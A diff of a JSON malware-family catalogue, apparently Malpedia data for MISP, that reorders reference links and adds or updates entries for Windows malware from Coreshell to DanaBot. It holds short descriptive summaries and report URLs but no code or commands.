"https://blog.alyac.co.kr/2105", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/#atricle-content" ], "synonyms": [], "type": [] @@ -18403,27 +19505,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coreshell", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", - "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", - "http://malware.prevenity.com/2014/08/malware-info.html", "http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware.html", - "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf" + "http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf", + "https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf", + "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "http://malware.prevenity.com/2014/08/malware-info.html" ], "synonyms": [ "SOURFACE" ], "type": [] }, - "related": [ - { - "dest-uuid": "3948ce95-468e-4ce1-82b1-57439c6d6afd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "579cc23d-4ba4-419f-bf8a-f235ed33125e", "value": "Coreshell" }, @@ -18447,8 +19540,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cosmicduke", - "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/", - "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", + "https://www.cyfirma.com/outofband/cosmicduke-malware-analysis/" ], "synonyms": [], "type": [] @@ -18461,18 +19554,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx", - "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", - "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://vblocalhost.com/uploads/VB2020-20.pdf", - "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", - "https://www.youtube.com/watch?v=1WfPlgtfWnQ", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html" + "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf", + "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://www.trendmicro.com/en_in/research/21/k/analyzing-proxyshell-related-incidents-via-trend-micro-managed-x.html", + "https://www.youtube.com/watch?v=1WfPlgtfWnQ", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", + "https://vblocalhost.com/uploads/VB2020-20.pdf", + "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [], "type": [] @@ -18480,6 +19573,19 @@ "uuid": "47190b56-5176-4e8b-8c78-fcc10e511fa2", "value": "Cotx RAT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cova", + "https://www.bitsight.com/blog/cova-and-nosu-new-loader-spreads-new-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "cad667c1-be0a-49db-b2fb-462082a04fbe", + "value": "Cova" + }, { "description": "Covicli is a modified SSLeay32 dynamic library designated as a backdoor.\r\nThe dynamic library allows the attacker to communicate with the C2 over openSSL.", "meta": { @@ -18509,7 +19615,7 @@ "value": "Covid22" }, { - "description": "", + "description": "PCRisk notes that CoViper is yet another Coronavirus/COVID-19-themed malware infection, most likely proliferated as a file related to the pandemic. It operates by rewriting the system Master Boot Record (MBR). It does not delete the original, but rather creates a backup and replaces it with a custom MBR.\r\n\r\nTypically, malicious software that modifies MBRs do so to prevent the Operating System (OS) from being booted (i.e., started). It also displays a screen-encompassing message, often containing a ransom message - this disables user access to the device. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coviper", @@ -18522,6 +19628,25 @@ "uuid": "4d7d8496-52a6-47dc-abfe-4997af6dc465", "value": "CoViper" }, + { + "description": "CozyDuke is not simply a malware toolset; rather, it is a modular malware platform formed around\r\na core backdoor component. This component can be instructed by the C&C server to download\r\nand execute arbitrary modules, and it is these modules that provide CozyDuke with its vast array\r\nof functionality. Known CozyDuke modules include:\r\n• Command execution module for executing arbitrary Windows Command Prompt commands\r\n• Password stealer module\r\n• NT LAN Manager (NTLM) hash stealer module\r\n• System information gathering module\r\n• Screenshot module", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cozyduke", + "https://blog-assets.f-secure.com/wp-content/uploads/2020/03/18122307/F-Secure_Dukes_Whitepaper.pdf", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html" + ], + "synonyms": [ + "Cozer", + "CozyBear", + "CozyCar", + "EuroAPT" + ], + "type": [] + }, + "uuid": "b461afd0-f5fd-4c25-8367-4235a6e8b9b1", + "value": "COZYDUKE" + }, { "description": "CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.", "meta": { @@ -18552,11 +19677,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crat", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://suspected.tistory.com/269", "https://mp.weixin.qq.com/s/2sV-DrleHiJMSpSCW0kAMg", - "https://www.secrss.com/articles/18635", - "https://blog.talosintelligence.com/2020/11/crat-and-plugins.html" + "https://suspected.tistory.com/269", + "https://blog.talosintelligence.com/2020/11/crat-and-plugins.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.secrss.com/articles/18635" ], "synonyms": [], "type": [] @@ -18582,10 +19707,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.credomap", + "https://securityscorecard.com/research/apt28s-stealer-called-credomap", "https://blog.bushidotoken.net/2022/06/overview-of-russian-gru-and-svr.html", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://cert.gov.ua/article/341128" + "https://cert.gov.ua/article/341128", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war" ], "synonyms": [], "type": [] @@ -18606,6 +19732,32 @@ "uuid": "ac75d0a3-bb99-4453-9567-a6c8ba87a706", "value": "Credraptor" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.creepysnail", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a95d4aaa-302e-4a3c-a071-ba8eed978920", + "value": "CreepySnail" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.creep_exfil", + "https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fc743725-2fa6-48dd-8797-57e298375505", + "value": "CreepExfil" + }, { "description": "", "meta": { @@ -18623,39 +19775,39 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson", - "https://twitter.com/katechondic/status/1502206599166939137", + "https://securelist.com/transparent-tribe-part-2/98233/", + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", - "https://s.tencent.com/research/report/669.html", - "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", - "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", + "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", "https://www.secrss.com/articles/24995", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", - "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", - "https://securelist.com/transparent-tribe-part-1/98127/", "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://blog.yoroi.company/research/transparent-tribe-four-years-later", + "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", + "https://s.tencent.com/research/report/669.html", + "https://www.4hou.com/posts/vLzM", "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", + "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html", + "https://cybleinc.com/2021/04/30/transparent-tribe-operating-with-a-new-variant-of-crimson-rat/", + "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", + "https://labs.k7computing.com/index.php/transparent-tribe-targets-educational-institution/", "https://twitter.com/teamcymru_S2/status/1501955802025836546", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://securelist.com/transparent-tribe-part-1/98127/", + "https://blog.yoroi.company/research/transparent-tribe-four-years-later", + "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", + "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html?m=1", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/IoCs_Investigating%20APT36%20or%20Earth%20Karkaddan%20Attack%20Chain%20and%20Malware%20Arsenal.rtf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/investigating-apt36-or-earth-karkaddan-attack-chain-and-malware-arsenal/Earth%20Karkaddan%20APT-%20Adversary%20Intelligence%20and%20Monitoring%20Report.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://twitter.com/teamcymru/status/1351228309632385027", "https://anchorednarratives.substack.com/p/trouble-in-asia-and-the-middle-east", "https://team-cymru.com/blog/2021/07/02/transparent-tribe-apt-infrastructure-mapping-2/", - "https://www.bleepingcomputer.com/news/security/hackers-use-modified-mfa-tool-against-indian-govt-employees/", - "https://twitter.com/teamcymru/status/1351228309632385027", - "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", - "https://www.4hou.com/posts/vLzM", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF", - "https://securelist.com/transparent-tribe-part-2/98233/", - "https://team-cymru.com/blog/2021/04/16/transparent-tribe-apt-infrastructure-mapping/", - "https://mp.weixin.qq.com/s/ELYDvdMiiy4FZ3KpmAddZQ", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", - "https://www.seqrite.com/blog/operation-honey-trap-apt36-targets-defense-organizations-in-india/" + "https://mp.weixin.qq.com/s/xUM2x89GuB8uP6otN612Fg", + "https://twitter.com/katechondic/status/1502206599166939137" ], "synonyms": [ "SEEDOOR", @@ -18684,11 +19836,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cring", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", - "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/" + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html" ], "synonyms": [], "type": [] @@ -18696,25 +19848,38 @@ "uuid": "f5a19987-d0b6-4cc3-89ab-d4540f2e9744", "value": "Cring" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosslock", + "https://twitter.com/1ZRR4H/status/1648232869809078273" + ], + "synonyms": [], + "type": [] + }, + "uuid": "505dc6be-56f3-49ca-be11-45b3e78a4ac2", + "value": "CrossLock" + }, { "description": "According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk", + "https://www.youtube.com/watch?v=8x-pGlWpIYI", + "https://twitter.com/MrDanPerez/status/1159459082534825986", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", "https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/", + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/", + "https://thehackernews.com/2021/01/researchers-disclose-undocumented.html", + "https://content.fireeye.com/apt-41/rpt-apt41/", + "https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.youtube.com/watch?v=8x-pGlWpIYI", - "https://thehackernews.com/2021/01/researchers-disclose-undocumented.html", - "https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://twitter.com/MrDanPerez/status/1159459082534825986", - "https://content.fireeye.com/apt-41/rpt-apt41/" + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/" ], "synonyms": [ "Motnug", @@ -18726,13 +19891,26 @@ "uuid": "7ca7c08b-36fd-46b3-8b9e-a8b0d4743433", "value": "CROSSWALK" }, + { + "description": "According to Trend Micro, this is a custom loader for win.cobalt_strike, used by Earth Longzhi (a subgroup of APT41).", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader", + "https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "48d697ec-aa34-4d98-83e4-17b736d59a85", + "value": "Croxloader" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch", - "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", - "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", + "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/" ], "synonyms": [], "type": [] @@ -18745,18 +19923,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", "https://twitter.com/demonslay335/status/971164798376468481", + "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", "https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/", + "https://www.telekom.com/en/blog/group/article/lockdata-auction-631300", + "https://twitter.com/albertzsigovits/status/1217866089964679174", + "https://hackmag.com/security/ransomware-russian-style/", "https://twitter.com/bartblaze/status/1305197264332369920", "https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html", - "https://twitter.com/albertzsigovits/status/1217866089964679174", - "https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/", - "https://hackmag.com/security/ransomware-russian-style/", - "https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/", - "https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/", - "https://www.telekom.com/en/blog/group/article/lockdata-auction-631300", "https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Cryakl-B/detailed-analysis.aspx", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/", "https://securelist.com/cis-ransomware/104452/" ], "synonyms": [ @@ -18784,8 +19963,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic", - "https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/", - "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/" + "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/" ], "synonyms": [], "type": [] @@ -18811,18 +19990,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot", - "https://asec.ahnlab.com/en/26052/", - "https://asec.ahnlab.com/en/31683/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.mandiant.com/resources/russian-targeting-gov-business", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/", - "https://asec.ahnlab.com/en/24423/", + "https://research.openanalysis.net/cryptbot/botnet/yara/config/2023/03/16/cryptbot.html", "https://redcanary.com/wp-content/uploads/2021/12/KMSPico-V5.pdf", - "https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/", "https://asec.ahnlab.com/en/35981/", + "https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf", + "https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/", + "https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/", + "https://asec.ahnlab.com/en/31683/", + "https://asec.ahnlab.com/en/31802/", + "https://asec.ahnlab.com/en/24423/", + "https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/", + "https://blog.google/technology/safety-security/continuing-our-work-to-hold-cybercriminal-ecosystems-accountable/", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://fr3d.hk/blog/cryptbot-too-good-to-be-true", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://asec.ahnlab.com/en/26052/", "https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger", - "https://fr3d.hk/blog/cryptbot-too-good-to-be-true" + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://blogs.blackberry.com/en/2022/03/threat-thursday-cryptbot-infostealer" ], "synonyms": [], "type": [] @@ -18843,6 +20028,19 @@ "uuid": "972fbb7b-6945-42d8-ba88-a7b4e6fc1ad4", "value": "CrypticConvo" }, + { + "description": "According to OALabs, this ransomware has the following features: \r\n* Files are encrypted with AES CBC using a generated 256 bit key and IV.\r\n* The generated AES keys are encrypted using a hard coded RSA key and appended to the encrypted files.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptnet", + "https://research.openanalysis.net/dotnet/cryptnet/ransomware/2023/04/20/cryptnet.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "99c468a2-c69f-4c9c-9941-0627052001b2", + "value": "CryptNET" + }, { "description": "", "meta": { @@ -18858,21 +20056,36 @@ "uuid": "c6d09bb2-5673-4b2b-b2cb-5d14f2568189", "value": "CryptoDarkRubix" }, + { + "description": "CryptoJoker is an open source ransomware written in C#.\r\nCryptoJoker uses a combination of a \"custom XOR\" encryption and RSA. A private public/private pair key is generated for every computer.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptojoker", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/plutocrypt-a-cryptojoker-ransomware-variant" + ], + "synonyms": [ + "PlutoCrypt" + ], + "type": [] + }, + "uuid": "01cb8122-7a24-436f-85d3-d6a306800f10", + "value": "CryptoJoker" + }, { "description": "CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware", + "https://www.secureworks.com/research/cryptolocker-ransomware", "https://sites.temple.edu/care/ci-rw-attacks/", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://www.secureworks.com/research/cryptolocker-ransomware", - "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", - "https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware" ], "synonyms": [], "type": [] @@ -18898,11 +20111,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix", + "https://www.bleepingcomputer.com/news/security/new-azer-cryptomix-ransomware-variant-released/", + "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", "https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/", - "https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/", - 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"https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f" + "https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f", + "https://sites.temple.edu/care/ci-rw-attacks/" ], "synonyms": [], "type": [] @@ -18996,8 +20211,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress", - "https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/", - "http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html" + "http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html", + "https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/" ], "synonyms": [], "type": [] @@ -19023,8 +20238,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx", - "https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/", - "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/" + "https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/", + "https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/" ], "synonyms": [], "type": [] @@ -19032,6 +20247,19 @@ "uuid": "fd54ff8b-d34a-4a58-9ee1-2c47f28cb3e8", "value": "CryptXXXX" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox", + "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c7fb0acb-018b-47eb-8555-5a0291e2505e", + "value": "Crytox" + }, { "description": "", "meta": { @@ -19050,9 +20278,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker", - 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"related": [ - { - "dest-uuid": "2a56538f-7c21-44b3-b438-5baa025ed005", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "92960f1f-5099-4e38-a177-14a5e3b8d601", "value": "Dairy" }, @@ -19357,45 +20574,47 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", - "https://www.zscaler.com/blogs/security-research/spike-danabot-malware-activity", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", - "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", - "https://security-soup.net/decoding-a-danabot-downloader/", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - 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"https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html", - "https://www.welivesecurity.com/2018/09/21/danabot-targeting-europe-adds-new-features/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", "https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.bitdefender.com/blog/hotforsecurity/popular-npm-repositories-compromised-in-man-in-the-middle-attack/", + "https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/", "https://asert.arbornetworks.com/danabots-travels-a-global-perspective/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.zscaler.com/blogs/security-research/danabot-launches-ddos-attack-against-ukrainian-ministry-defense", + "https://research.checkpoint.com/danabot-demands-a-ransom-payment/", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.mandiant.com/resources/supply-chain-node-js", + 